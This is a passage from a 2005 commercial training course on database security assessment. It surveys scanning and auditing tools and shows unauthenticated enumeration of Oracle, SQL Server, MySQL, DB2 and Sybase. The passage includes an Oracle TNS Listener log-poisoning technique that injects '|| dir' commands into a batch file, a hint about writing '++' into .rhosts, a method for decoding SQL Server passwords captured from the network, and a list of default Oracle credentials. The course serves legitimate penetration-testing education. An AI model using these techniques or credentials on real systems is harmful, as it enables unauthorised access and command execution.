possible to query the broadcast address of a network and determine network SQL Servers
with ease.

sqlbf SQL Bruteforcer


SQL Bruteforcer (http://www.antiserver.it/Password-Crackers/) is a command line SQL
Server security tool for discovering weak login passwords from password hashes.

SQL Auditing Tools (SQLAT)


Like the Oracle Auditing Tools, Cqure (http://www.cqure.net) also provides the Microsoft
SQL Server equivalent SQL Auditing Tools. SQLAT is a suite of tools which can be
useful for penetration testing and database security assessment. The following attacks
are covered:

SA Password Dictionary Attacks A mechanism for discovering weak or blank SA


passwords within the Microsoft SQL Server installation.

File Upload The upload of arbitrary files to the SQL Server.

Registry Read Reading sensitive information from the Windows Registry of the
hosting server system.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

50

Module 4: Building a Database Assessment Toolkit

Windows Password Dump Facility for using pwdump to obtain the host server
password hashes from the SAM.

In the cases where the Extended Stored Procedure xp_cmdshell has been removed from
the installation, SQLAT can restore this powerful resource if the related DLL (xplog.dll) is
still present upon the system.

MySQL Network Scanner


The are not many MySQL tools in existence within the public domain, however a tool has
been
produced
and
distributed
through
the
Securiteam
website
(http://www.securiteam.com) to check for MySQL installations with a blank password. The
MySQL Network Scanner can scan a class C IP network to find vulnerable MySQL
daemons.
The tool attempts to login under the default root account with a
NULL password. After login, this program will dump the usernames,
encrypted password hash and the hostnames in the mysql.user table.

MySQL Brute Force Password Hash Cracker


As a companion tool Securiteam also have two MySQL Brute Force Password Hash
Crackers. These tools simply work by taking the discovered password hash, either from
using a tool like the MySQL Network Scanner or from obtaining the hashes in some other
way, and running a brute force attack to reveal the clear text password.

Sybase & DB2 Where are the tools?!


Apart from the modules / plug-ins included within tools like Nessus, enumeration tools for
Sybase and IBM DB2 are few and far between. In some places within this course we will
look at the development of NGS proprietary techniques for discovering and enumerating
Sybase / DB2 installations.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

51

Module 4: Building a Database Assessment Toolkit

Database Vulnerability Scanners


When it comes to identifying known database vulnerabilities there are several potential
options for a Database vulnerability scanner. These can range from the basic scanners
like Metacoretex to the high-end specialist scanner like that contained within NGSs own
Squirrel suite. This module subsection takes a brief look at the options available for
database assessment.

Metacoretex Scanner
MetaCoretex is a freely available database vulnerability scanning framework
(http://www.metacoretex.com). It is written entirely in Java and provides probe generators
to make writing custom probes / plug-ins a fairly simple task. Currently it supports MySQL,
Microsoft SQL Server, Oracle and has checks for JDBC configuration options.

Although this database vulnerability scanner is not supported or updated as well as a


commercial counterpart, it is a good method for checking basic security concerns within
default database installations.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

52

Module 4: Building a Database Assessment Toolkit

AppSec Inc. AppDetective


A
network-based,
vulnerability
assessment
scanner,
AppDetective
(http://www.appsecinc.com) discovers database applications within the infrastructure and
assesses their security strength. Backed by a proven security methodology and extensive
knowledge of application-level vulnerabilities, AppDetective locates, examines, reports,
and fixes security holes and configuration insecurities. As a result, enterprises can
proactively harden their database applications.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

53

Module 4: Building a Database Assessment Toolkit

NGS Software Squirrel for Oracle


NGS Squirrel for Oracle (http://www.ngssoftware.com/squirrelora.htm) is the most
comprehensive vulnerability assessment scanner available enabling security
professionals, database and network administrators to quickly audit the security of Oracle
database servers to discover every threat that each server is exposed to. Whether used in
the Enterprise or for single server networks, NGS Squirrel provides an easy mechanism
for quickly securing the Oracle infrastructure; as well as finding all of the security holes,
NGS Squirrel can fix them too by generating Lockdown Scripts.
It is designed and developed by the worlds leading vulnerability researchers (who
between them have discovered more vulnerabilities than any other company during 2002
and 2003). David Litchfield and Mark Litchfield are widely accepted as the leading Oracle
vulnerability researchers and as such, all newly discovered issues are incorporated into
NGS Squirrel for Oracle.

NGS Squirrel for Oracle can also perform comprehensive password audits against Oracle
user accounts to locate weak credentials.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

54

Module 4: Building a Database Assessment Toolkit

NGS Software Squirrel for Microsoft SQL Server


NGS Squirrel for Microsoft SQL Server (http://www.ngssoftware.com/squirrelsql.htm)
allows systems administrators and security professionals to quickly and easily assess SQL
Servers for a variety of security vulnerabilities and deficits. The application
comprehensively scans SQL Servers for thousands of possible security threats. NGS
Squirrel allows users to quickly find the faults and their weaknesses in their database
environment, before malicious attackers do.
Unlike many other applications that only find holes in security infrastructures, NGS
Squirrel allows systems professionals to quickly evaluate the level of risk they are exposed
to, and if required, fix the majority of discovered vulnerabilities with Lockdown Scripts.

NGS Squirrel for Microsoft SQL Server works in partnership with NGSSQLCrack to
perform password audits against SQL Server credentials to locate and identify weak
areas.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

55

Module 4: Building a Database Assessment Toolkit

NGS Software Squirrel for Sybase


NGS Squirrel for Sybase ASE (http://www.ngssoftware.com/sybase.htm) provides
comprehensive unauthenticated / authenticated enumeration and assessment of Sybase
installations. It is linked to the NGS research of this product that has yielded public
advisories and security patches (http://www.ngssoftware.com/advisories/sybase-ase.txt).

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

56

Module 4: Building a Database Assessment Toolkit

NGS Software Squirrel for IBM DB2


NGS Squirrel for IBM DB2 allows systems administrators and security professionals to
quickly and easily assess DB2 servers for a variety of security vulnerabilities and deficits.
The software is based upon the recent NGS discoveries within this product. The following
NGS discovered critical security flaws are contained within this tool:

DB2 db2fmp Buffer Overflow

DB2 libdb2.so.1 Buffer Overflow

DB2 Call Buffer Overflow

DB2 JDBC Applet Server Buffer Overflow

DB2 STATADMIN.SATENCRYPT Buffer Overflow

DB2 Windows Permissions Problems

DB2 to_char and to_date Denial of Service

DB2 XML Function Overflows

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

57

Module 4: Building a Database Assessment Toolkit

NGS Software Orascan


OraScan is a detailed auditing application developed to assess the security of Oracle web
applications regardless of environment. OraScan allows systems administrators and
security professionals to audit the security of bespoke online applications and front-end
servers. The detailed level of auditing supported by OraScan allows users to be assured in
their digital defence strategies.
OraScan performs a vigorous and detailed security vulnerability audit of Oracle web
applications focusing on the discovery of flaws (e.g. SQL Injection, Cross Site Scripting,
Remote Command Shell execution, etc.). OraScan can additionally be deployed to audit
the configuration of IAS web servers, ensuring that no security vulnerabilities are present
within the base software architecture.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

58

Module 4: Building a Database Assessment Toolkit

Vendor Client Connectivity Utilities


In many cases it is necessary to obtain proprietary drivers from database manufacturers to
connect to specific database products. This avoids potential legal issues surrounding the
reverse engineering of vendor drivers and APIs. These are usually shipped with the
product itself or provided through a support web site. In addition to drivers, client utilities
are often available for the configuration, management and direct query of the database.

Oracle Client Drivers and Tools


To interact in most ways with an Oracle database installation, the Oracle Client
Components are required. These are installed as part of Oracle database but are also
available
for
download
from
the
Oracle
support
web
site
(http://otn.oracle.com/software/products/oracle9i/htdocs/winsoft.html).
The download
entitled: Oracle9i Database Release 2 Client for Microsoft Windows 98/2000/NT/XP
92010NT_CLT.zip can be used for Oracle 9i and above. Later versions of the Client
Components are also listed for older database installations. In addition to the ODBC
drivers the Oracle client tools are installed, which include SQL*Plus:

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

59

Module 4: Building a Database Assessment Toolkit

Sybase Client Drivers and Tools


The Sybase ODBC drivers are installed by default with an installation of Sybase ASE or by
visiting the support options within the Sybase web site (http://www.sybase.com). In
addition to the Sybase ODBC drivers it is invaluable to have access to SQL Advantage to
directly run queries against the database:

This application is very similar to the SQL Query Analyser shipped with Microsoft SQL
Server installations.

IBM DB2 Client Drivers and Tools


In a similar fashion to Oracle, it is necessary to have access to the IBM DB2 Client
Components for most interactions with a DB2 database. The DB2 Client Components are
available
from
the
IBM
support
website
(http://www306.ibm.com/software/data/db2/udb/support). To issue queries directly to an IBM DB2
database installation it is possible to use the Command Line Processor for DB2:

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

60

Module 4: Building a Database Assessment Toolkit

Microsoft SQL Server Client Drivers and Tools


The ODBC client drivers are installed by default within Microsoft Windows Operating
Systems. In addition, it is useful to install the SQL Server client tools for remote
administration such as Enterprise Manager or the SQL Query Analyser:

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

61

Module 4: Building a Database Assessment Toolkit

MySQL Client Drivers and Tools


Generally, the options for connecting to a MySQL database are over ODBC or JDBC
handled connections. When using a MySQL Connector / ODBC it acts as a bridge
between the MySQL server and the client program and the Connector / J option provides
the same for Java based client connections. Further options are available for ADO.NET
providers and J2EE MBean Connectors. All client driver options for MySQL are available
from the MySQL Connector support pages (http://www.mysql.com/products/connector/).
Beyond the command line client tool, known simply as mysql, it is possible to connect to
MySQL installations using the MySQL Query Browser or MySQL Administrator. These
tools
are
available
from
the
database
server
download
pages
(http://dev.mysql.com/downloads/index.html). The following screenshot shows use of the
MySQL Query Browser:

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

62

Module 4: Building a Database Assessment Toolkit

Generic Client Connectivity


Of course, with the correct APIs, it is possible to create a tool capable of querying multiple
database servers. An extremely useful tool for connecting to multiple database types is
the Database Visualizer (http://www.dbvis.com). DbVisualizer is a client connection tool
that supports a large number of database drivers, and so can be used extensively when
performing database assessment against multiple database types. The tool is Java based
and allows for administration and direct query access to database installations. The
following screenshot show the DbVisualizer driver loader window, with the currently loaded
drivers:

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

63

Module 4: Building a Database Assessment Toolkit

Using Offline Database Test Servers


An often forgotten resource when conducting any form of security assessment is the use
of offline or local servers. In this subsection we will see how in database assessment this
can be particularly useful.

Why Bother?
The use of offline or local test servers during assessment is often overlooked, however, at
NGS we actively use local servers running local copies of the products or targets we are
assessing. This works especially well when dealing with database assessment. The
target of assessment is often located remotely from the assessor and so having a visual
grasp of the environment at hand during assessment can help in targeting attacks and
reducing guesswork. In the case of live test environments, the assessor may wish to try
potentially dangerous assessment techniques against a local test copy of the database
before seeking active verification against the live target.

Creating Virtual Hosts for Assessment


Rather than having multiple test servers, the assessor will often choose to use software
emulation and create virtual assessment hosts. Popular options for doing this are VMware
Workstation
(http://www.vmware.com)
and
Microsofts
Virtual
PC
(http://www.microsoft.com/windows/virtualpc/default.mspx). VMware is available to run
within a Linux Operating System as well as Microsoft Windows based, providing further
flexibility of choice to the assessor. In general, it is possible for the assessor to run test
servers within VMware or Virtual PC on a laptop rather than a separate host providing
that enough RAM is available.

Using Offline / Local Servers to Extract Data


A good specific example of where a local database server is useful during assessment
was demonstrated by the tool Data Thief, written by Cesar Cerrudo whilst working for
AppSec Inc (http://www.appsecinc.com). Although the tool was written to demonstrate
data retrieval from a backend database via SQL Injection vectors in web applications, it
used a second database at the attackers side. Requests for data were issued through
SQL Injection vectors in bespoke web applications and the data was dynamically
recreated at the attackers local database installation. For further details read Cesars
original whitepaper (http://www.appsecinc.com/techdocs/whitepapers.html).

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

64

Module 4: Building a Database Assessment Toolkit

Module Summary
In this module we have seen the types of tools and resources that should be selected to
provide a good database assessment toolkit. This module has been by no means
exhaustive but rather represents key applications and tools that should be considered.
The following areas have been discussed during this module:

General vulnerability assessment tools that can be useful during database


assessment, such as Nessus and NGSs Typhon III.

Tools that have been created to enumerate information from weak and default
database installations.

Specific database scanners that are available to locate known database


vulnerabilities.

Client drivers and utilities that are essential for querying vendor database
installations.

Using offline and local databases for database assessment.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

65

Module 5: Unauthenticated Database Enumeration

Unauthenticated Database Enumeration

Module Abstract
Finding database flaws and exploiting vulnerabilities is not possible without first locating a
likely target and gathering simple data from the database instance. Whilst it is true that
enumeration of data and potential vulnerabilities is easier with credentials, it is often
revealing to discover what an unauthenticated attacker can unearth. Most database
systems have methods for enumerating sensitive host and database information without
the need for credentials, or indeed ways of discovering valid credentials for an attacker to
use to progress further into the database.
This module will demonstrate the tools and techniques used to discover databases within
a network environment and enumerate sensitive information to further progress an attack.

Module Overview
This course module consists of the following topics:

Dumping Data Through Oracle TNS Listener

Probing Microsoft SQL Monitor Ports

Gathering Data Through MySQL Ports

Enumerating IBM DB2 Database Servers

Analysing Database Network Traffic

Enumerating Default Database Users & Credentials

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

66

Module 5: Unauthenticated Database Enumeration

Dumping System Data through the Oracle TNS Listener


Oracle developed the Transparent Network Substrate (TNS) Listener to handle TNS
communications between database client and server instances over a network. Once
located, and in the default configuration it is possible for unauthenticated users to send
requests to the Listener that reveal potentially sensitive information.
When the database starts, it registers with the TNS Listener using the
service_register_NSGR command, which informs the TNS Listener that the database
server is ready to accept connections. When a user connects to the database, it is to the
TNS Listener that the initial connection is made. In general, the TNS Listener uses TCP
port 1521, well known as the common default for Oracle installations. However,
depending upon the configuration and applications installed for a given production
database server, the actual TNS Listener port could lie between TCP ports 1520 1530.
In fact, like the majority of network services, the TNS Listener is configurable to use any
desired TCP port.
Before attempting to enumerate database information through the Oracle TNS Listener, it
first has to be located within a host or network. At first glance, this may seem difficult to
achieve if indeed the Listener is configured to use an arbitrary non-default port. However,
a port scan and service signature check will generally reveal a TNS Listener to an
experienced security consultant.

Using Nmap and Amap to Find Databases


For many people working in the computing industry Nmap (http://www.insecure.org) has
become a familiar tool for troubleshooting network problems and conducting security
assessments. Under default configurations, Nmap can identify many thousands of
services running on TCP and UDP ports. When network services are configured to use
non-default ports it is possible that Nmap will report services as a certain type based solely
upon the listening port number. To combat this and to identify services that are running on
arbitrary ports it is useful to use a signature based analysis tool such as Amap
(http://www.thc.org).
Amap creates malformed or fake communications and analyses the returned data from a
listening service. Based upon the returned data it is possible for Amap to match service
signatures against known services. This active interrogation combined with manual
banner grabbing is used effectively to identify database services running within a network.
This combination technique can be used to identify all of the database services
encountered during this training course. The following screenshots show Nmap and Amap
in action against a test machine. There are many listening services that Nmap cannot
identify under normal conditions and instead marks as unknown. Amap is able to process
and match protocols to the data returned by the service.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

67

Module 5: Unauthenticated Database Enumeration

An Nmap scan of a test host.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

68

Module 5: Unauthenticated Database Enumeration

An Amap scan using the previous Nmap results.

Under certain cases, Amap may not be able to identify the listening service; this is
generally due to a proprietary protocol where a signature is not known by the tool. Manual
protocol Fuzzing techniques can be applied to determine service details; however, this will
not be required when looking for common industry databases within a host or network.
Note that Amap has confirmed that the Oracle TNS Listener in this case is running on the
default port of TCP 1521.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

69

Module 5: Unauthenticated Database Enumeration

Querying the TNS Listener Directly


Several tools can be used to query the TNS listener directly. The most popular options
are the Listener Control Utility (included with Oracle client tools) and tnscmd.pl (available
Both tools
free from http://www.jammed.com/~jwa/hacks/security/tnscmd/tnscmd).
essentially achieve the same objectives by allowing an assessor to submit commands
directly to the TNS Listener.
The Listener Control Utility (LSNRCTL.EXE)

When using the Listener Control Utility the first command to issue, is to set the current
listener to work with the database, as follows:
LSNRCTL> set current_listener to <server IP>
Issuing the help command to the Control Utility will yield the following options:

start

stop

status

services

version

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

70

Module 5: Unauthenticated Database Enumeration

reload

save_config

trace

change_password

quit

exit

set*

show*

In this case, by submitting the version command the following output is produced (edited
for clarity):
Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=IPC)(KEY=EXTPROC1)))
TNSLSNR for 32-bit Windows:
Version 9.2.0.1.0 - Production
TNS for 32-bit Windows: Version 9.2.0.1.0 - Production
Windows NT Named Pipes NT Protocol Adapter for 32-bit Windows:
Version 9.2.0.1.0 Production
Windows NT TCP/IP NT Protocol Adapter for 32-bit Windows:
Version 9.2.0.1.0 Production.
The command completed successfully
From the information returned we can see that the server is Microsoft Windows based and
reports a database version of 9.2.0.1.0. This simple information can allow us research
current known vulnerabilities that may affect this installation and formulate further
assessment options. For a malicious attacker this kind of detail may be enough to launch
a serious attack against the server.
Submitting the services command produces the following output (edited for clarity):
Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=IPC)(KEY=EXTPROC1)))
Services Summary...
Service "PLSExtProc" has 1 instance(s).
Instance "PLSExtProc", status UNKNOWN, has 1 handler(s)
Handler(s):
"DEDICATED" established:0 refused:0
LOCAL SERVER
Service "training.wargames" has 2 instance(s).
Instance "training", status UNKNOWN, has 1 handler(s)
Handler(s):
"DEDICATED" established:0 refused:0
LOCAL SERVER
Instance "training", status READY, has 1 handler(s)
Handler(s):
"DEDICATED" established:0 refused:0 state:ready
LOCAL SERVER

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

71

Module 5: Unauthenticated Database Enumeration

Service "trainingXDB.wargames" has 1 instance(s).


Instance "training", status READY, has 1 handler(s)
Handler(s):
"D000" established:38 refused:0 current:0 max:1002 state:ready
DISPATCHER <machine: APPSERVERV1, pid: 1820>
(ADDRESS=(PROTOCOL=tcp)(HOST=appserverv1.wargames.com)(PORT=1210))
The command completed successfully
Information is returned regarding the services and database instances. Here we can see
the default PLSExtProc service and a further service training.wargames with a database
instance of training. With the server IP address, port, hostname and SID provides enough
information to attempt a connection to the database.
Submitting the status command produces the following output (edited for clarity):
Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=IPC)(KEY=EXTPROC1)))
STATUS of the LISTENER
-----------------------Alias
LISTENER
Version
TNSLSNR for 32-bit Windows: Version
9.2.0.1.0 - Production
Start Date
04-MAY-2005 11:01:13
Uptime
47 days 1 hr. 23 min. 35 sec
Trace Level
off
Security
OFF
SNMP
OFF
Listener Parameter File
e:\oracle\ora92\network\admin\listener.ora
Listener Log File
e:\oracle\ora92\network\log\listener.log
Listening Endpoints Summary...
(DESCRIPTION=(ADDRESS=(PROTOCOL=ipc)(PIPENAME=\\.\pipe\EXTPROC1ipc)
))
(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=appserverv1.wargames.com)
(PORT=1521)))
(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=appserverv1.wargames.com)
(PORT=8080))(Presentation=HTTP)
(Session=RAW))
(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=appserverv1.wargames.com)
(PORT=2100))(Presentation=FTP)(
Session=RAW))
Services Summary...
Service "PLSExtProc" has 1 instance(s).
Instance "PLSExtProc", status UNKNOWN, has 1 handler(s)
Service "training.wargames" has 2 instance(s).

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

72

Module 5: Unauthenticated Database Enumeration

Instance "training", status UNKNOWN, has 1 handler(s)


Instance "training", status READY, has 1 handler(s)
Service "trainingXDB.wargames" has 1 instance(s).
Instance "training", status READY, has 1 handler(s)
The command completed successfully
Using this data we can confirm the server Operating System and database version; in
addition, it is evident that tracing, security and Simple Network Management Protocol
(SNMP) are all disabled for this host. The full path for the Listener Parameter File and
Listener Log files is disclosed and the Listener Endpoints Summary maps all endpoints to
respective database services.

Hacking the Server with the TNS Listener!


At this stage we have been concerned with the enumeration of sensitive data from the
TNS Listener, however it is worth noting that several serious vulnerabilities exist with the
Listener itself. By researching Oracle 9i and the TNS Listener version discovered, the
following serious vulnerabilities are reported by the ICAT Metabase (http://icat.nist.gov) :

CVE-2002-0965 Long Service Name Buffer Overflow - Buffer overflow in TNS


Listener for Oracle 9i Database Server on Windows systems, and Oracle 8 on VM,
allows local users to execute arbitrary code via a long SERVICE_NAME
parameter, which is not properly handled when writing an error message to a log
file. This can lead to full system compromise of the affected database server.

CAN-2002-0509 TNS Remote Denial of Service Transparent Network Substrate


(TNS) Listener in Oracle 9i 9.0.1.1 allows remote attackers to cause a denial of
service (CPU consumption) via a single malformed TCP packet to port 1521.
When dealing with high-yield transactional database systems a Denial of Service
attack such as this could produce disastrous results.

CVE-2002-0567 Direct TNS Connection to ExtProc Oracle 8i and 9i with


PL/SQL package for External Procedures (EXTPROC) allows remote attackers to
bypass authentication and execute arbitrary functions by using the TNS Listener
to directly connect to the EXTPROC process.

Under default conditions without ADMIN_RESTRICTIONS or a TNS Listener password


applied it is possible to conduct log file poisoning attacks against some versions of Oracle.
Typically an attacker would change the log file path using LSNRCTL.EXE or a similar tool
in the following way:
(CONNECT_DATA=(CMD=log_directory)(ARGUMENTS=4)(VALUE=c:\\))

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

73

Module 5: Unauthenticated Database Enumeration

In this case, the log file directory is changed to the root of c:\ on a Windows database
server. In a similar fashion it is possible to specify the log file name:
(CONNECT_DATA=(CMD=log_file)(ARGUMENTS=4)(VALUE=test.bat))
At this point, anything specified by the user that will create and error will be logged into the
file c:\test.bat. So by specifying the following commands to the Listener Control Utility the
following error message is written to screen and to file:
Typed by the user.
|| dir > test.txt (typed by the user)
Error created on screen and written to the file test.bat.
11-OCT-2004 02:27:27 * log_file * 0
11-OCT-2004 02:28:00 * 1153
TNS-01153: Failed to process string: || dir > test.txt
NL-00303: syntax error in NV string
If this batch file is run at some stage, each line of text will be treated as a command to
execute. The majority of the file will not contain any meaningful data to execute, but the
inclusion of the double pipe (||) signals to the Windows Command Interpreter to execute
the second command if the first is unsuccessful (as it is in this case). The end result is
that the user / attacker specified command is executed against the server. By choosing a
file that is likely to execute at startup or logon, it should be possible to compromise the
database server. In a similar way, under UNIX database installations it is possible to echo
++ into the .rhosts file for the Oracle user and utilise r*services to login to the host with
shell access.
Later versions of Oracle have prevented log file poisoning by appending .log to the
specified file, ensuring that it cannot become executable. ADMIN_RESTRICTIONS and a
TNS Listener password should also be applied to prevent these forms of attack and
enumeration.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

74

Module 5: Unauthenticated Database Enumeration

Probing the Microsoft SQL Monitor Ports


Ports
Microsoft SQL Server listens on (by default) TCP port 1433 for the main sqlservr.exe
process and UDP port 1434, the SQL Monitor Port . By supplying a single-byte packet of
the value 0x02 to the SQL Monitor Port, the service will supply information about the
server instance. This is best demonstrated by the SQLPing tool created by Chip Andrews
(http://www.sqlsecurity.com). The following screenshot shows the information returned by
the single byte query submitted to the SQL Monitor Port:

The SQL Monitor port will in fact return the corresponding TCP port that the server
process is listening on. In this way, it is possible to find the SQL server when the process
has been configured to listen on an arbitrary non-default port. SQLPing2 has been
developed with a GUI interface and the ability to scan entire network subnets for SQL
Server instances using the same single-byte principal. In addition, it can be used against
the subnet broadcast address.
SQL Server can be configured to not respond to broadcast requests from clients, however
this feature is generally not implemented due to limitations with multiple server instances.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

75

Module 5: Unauthenticated Database Enumeration

Gathering Data through MySQL Ports


Discovering MySQL hosts and enumerating simple data through the listening service is
generally a trivial process, but one that does not yield as many results as either Oracle or
Microsoft SQL Server. By default MySQL listens on TCP port 3306 and so can be
discovered with simple port scanning within a network. When configured to listen on
arbitrary non-default ports, the service signature check method using Amap (mentioned
previously) can be used to locate MySQL installations.

Simple Banner Grabbing


Once a listening MySQL service is discovered a simple banner grab can be performed:

The returned text based banner contains the MySQL version. Using the version number it
is possible to research potential vulnerabilities using an online vulnerability listing such as
the ICAT Metabase or Security Focus (http://www.securityfocus.com).

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

76

Module 5: Unauthenticated Database Enumeration

Enumerating IBM DB2 Database Servers


Default installations of IBM DB2 listen on two ports, TCP 50000 and 50001 for the DB2-0
and DB2CTLSV-0 instances respectively. As in all cases, simple port scanning and
signature checks of non-default ports will reveal DB2 databases. However, it is possible to
query the Database Administration Server (DAS) which listens on UDP port 523. By
sending a single packet to the subnet broadcast address on UDP port 523, each DB2
server DAS instance within that network should respond. The client packet to trigger this
contains the data:
DB2GETADDR\x00SQL08020
This represents a NULL byte followed by the version number of the client making the
request. Upon receiving this packet the server will respond with its hostname and server
version. This technique can be scripted to categorically discover all IBM DB2 servers
within a network environment. The following screenshot shows a custom tool discovering
a DB2 installation:

Once a server instance has been discovered the DAS can be queried directly to
enumerate sensitive data from the host. The DAS supports functions that can be called

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

77

Module 5: Unauthenticated Database Enumeration

remotely by a client with and without authentication. By using the functions exported by
db2dasfn.dll, specifically db2dasGetDasLevel, getDasCfg and getOSInfo (which do not
require authentication) sensitive data can be obtained. Common information available in
this way is as follows:

Operating System Version

Database Instances

Database Port Mappings

DB2 Installation Path

Custom code can be developed to use these functions and produce a tool to enumerate
database and Operating System details in this way. The following screenshot shows a
custom tool determining the Operating System and patch level of a test DB2 installation:

It is possible to prevent DB2 servers from responding to DAS discovery requests within a
network by changing the discovery options for a database instance. This is achieved by
opening the Control Center and right clicking on the database instance. Selecting
Configure Parameters from the menu allows the Discover option to be set to Disable. The
following screenshot highlights this:

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

78

Module 5: Unauthenticated Database Enumeration

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

79

Module 5: Unauthenticated Database Enumeration

Analysing Database Network Traffic

Sniffing the Sybase Version


Sybase ASE listens typically on a number of TCP ports, generally between 5000 - 5004,
8181 and 8182. If local or remote registry access is obtained to the server or related host
the HKEY_LOCAL_MACHINE\Software\ODBC key can be checked for the presence of
SybaseServerName and NetworkAddress. However, it is possible to retrieve Sybase
version numbers from authentication transactions within the network. Sybase responds to
failed authentication attempts with a packet that contains the version numbers of the
server.

The TDS Response packet contains the string sql server and immediately after that
follows 4 bytes that contain the sever version number. Bytes 0x0c, 0x05, 0x00 and 0x00
indicate that when converted to decimal the version number of 12.5.0.0. This is not
entirely accurate for this server, however the discovery of the major and minor version

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

80

Module 5: Unauthenticated Database Enumeration

numbers should be a good starting point to research existing vulnerabilities. Additionally,


NGS have developed a technique to use truncated authentication packets and obtain a
version number using a bespoke tool. The following screenshot shows a custom tool
discovering the Sybase version number:

MySQL Authentication Traffic


In versions of MySQL prior to version 4.0 there is no built-in encryption included by the
MySQL protocol. Versions released after 4.0 do have encryption but it is included as
optional and is rarely enforced.
If an attacker is located within a local network subnet it should be possible to sniff the
MySQL protocol and capture authentication traffic. If authentication traffic is captured it is
possible to brute force the password hash and discover the database password hash. It is
well publicised that the cryptographic algorithms used by the hashing mechanism of
version of MySQL were historically considered weak. In versions prior to 4.1, if an
attacker / assessor can obtain a number of authentication attempts by sniffing the local
network the password hash can be derived. The following screenshot shows the capture
of MySQL traffic from the network:

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

81

Module 5: Unauthenticated Database Enumeration

In certain versions of MySQL it is possible to authenticate using only the password hash
and not the clear text representation of the password. This attack will be discussed during
a later module.

Microsoft SQL Server Network Sniffing


SQL Authentication does not contain any worthwhile form of encryption when requests are
sent across the network; the authentication must be channelled inside a further encryption
layer to be secure. When users utilise SQL Logins for accounts such as SA, the password
is encrypted with a simple bit-wise XOR operation. The password is converted UNICODE
before each byte is XORd with a known constant value of 0xA5.
Essentially
this
means that every other byte is set to 0xA5 because the SQL Server client takes the
UNICODE string and swaps the first 4 bytes of each byte of the password around before
the XOR is performed. The ASCII string converted to UNICODE means that it has been
converted from a 1-byte per character representation to a 2-byte per character
representation, ensuring that the string is now interspersed with NULL bytes. Any value

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

82

Module 5: Unauthenticated Database Enumeration

XORd with zero remains unchanged making this encrypted string easy to reveal. The
following screenshot shows the encrypted SA password available from the network:

It is trivial to write custom code to obtain the clear text password from this network traffic.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

83

Module 5: Unauthenticated Database Enumeration

Enumerating Default Database Users & Passwords


The majority of database installations employ proprietary authentication mechanisms that
generally revolve around user names and passwords. Whenever a product or appliance
comes installed out-of-the-box with default and easily guessed usernames and passwords
it spells trouble for the integrity of that installation.
Default usernames and passwords are widely known for database installations, and
several easily guessed passwords are commonly used by administrators in the same way
as Operating System user accounts. It is trivial to check database installations for the
presence of default username and password combinations from an unauthenticated
standpoint.

Checking for Oracle Default Credentials


Oracle databases are the most prone to attacks using default credentials the simple
reason being that there are over 600 Oracle defaults in existence that could be used to
break into the database! A comprehensive listing of Oracle default accounts, passwords
and hashes is available at http://www.petefinnigan.com/default/default_password_list.htm.
There are many tools that can be used to check for the existence of Oracle Default
accounts and passwords and many database vulnerability scanners have this functionality
in addition to looking for known vulnerabilities. The main Oracle user accounts and default
passwords of concern can be limited to the following in most cases:
Username
SYS
SYSTEM
DBSNMP
CTXSYS
MDSYS
ORACLE

Password
CHANGE_ON_INSTALL
MANAGER
DBSNMP
CTXSYS
MDSYS
INTERNAL

A simple and quick command line tool that can check for Oracle default usernames and
passwords is the OraclePWGuess utility (http://www.cqure.net) which is part of a larger set
of programs, the Oracle Auditing Toolkit. OraclePWGuess is a dictionary attack tool that
can be used with user supplied dictionaries or with the built in support for finding default
accounts. The following screenshots demonstrates the tool running against a default
Oracle 9i installation. The first shot shows a verbose output with the accounts under
check and the second shows the successful attempts:

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

84

Module 5: Unauthenticated Database Enumeration

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

85

Module 5: Unauthenticated Database Enumeration

Hunting the Blank SA Password


Historically for Microsoft SQL Server installations and web applications using SQL Server
